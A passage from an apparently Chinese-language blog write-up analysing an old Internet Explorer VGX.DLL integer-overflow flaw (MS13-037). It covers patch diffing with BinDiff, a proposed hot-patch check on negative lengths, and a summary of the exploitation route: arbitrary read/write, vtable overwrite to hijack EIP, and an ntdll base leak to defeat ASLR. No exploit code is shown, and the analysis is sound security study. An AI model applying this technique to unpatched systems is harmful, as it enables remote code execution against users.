然后点击Diff Database,如下所示,然后选择我们要对比的文件也就是更新后的 dll 的 idb 文件。会出现如下所示窗口。我们选择COALineDashStyleArray::put_length 这个函数进去看一下。
![]()
![]()
-
右键在 COALineDashStyleArray::put_length 函数上,选择如下所示。会打开 binDiff ,出现如下所示。直接对比失败,查找资料发现 MS13-037 ,此安全更新解决 Internet Explorer 中的 11 个秘密报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看特制网页时允许远程执行代码。成功利用这些最严重的漏洞的攻击者可以获得与当前用户相同的用户权限。那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。如下所示。猜测是更改过于巨大导致对比失败。
![]()


- 我们可以选择直接对比这两个函数,如下所示。我们再来尝试一下,把更新后的 dll 的符号下载下来,然后放在 ida 运行,重复上面步骤打开。得到如下所示,在 windows 符号的帮助下,是可以进行对比的。仔细对比发现,如下所示,增加一个函数做比对,以修补漏洞。
![]()


4.3、修补方案
- 我们可以钩取 COALineDashStyleArray::put_length 函数前五字节,插入判断代码,判断参数的值是否小于 0 ,如果小于 0 直接终止代码,否则还原流程,程序正常执行,如下所示。
![]()
4.4总结
- 该漏洞属于整数溢出漏洞。其漏洞原因在于 VGX.DLL 模块中处dashstyle.array.length 属性时未对输入参数进行有效检查。利用溢出造成任意地址读写,改写虚表指针劫持 EIP 获得任意代码执行的能力。通过泄露NTDLL.DLL 模块基址的方式绕过 ASLR ,当然,此次绕过的方式并不具有通用性,漏洞利用技巧也是需要更多学习、思考以及参考野外样本利用方式待以提升的地方。
参考文章
《漏洞战争》
https://www.cnblogs.com/amaza/p/10793691.html
https://www.cnblogs.com/Danny-Wei/p/3766432.html
https://bbs.pediy.com/thread-173600.htm
https://blog.csdn.net/tgxallen/article/details/53906090


















































浙公网安备 33010602011771号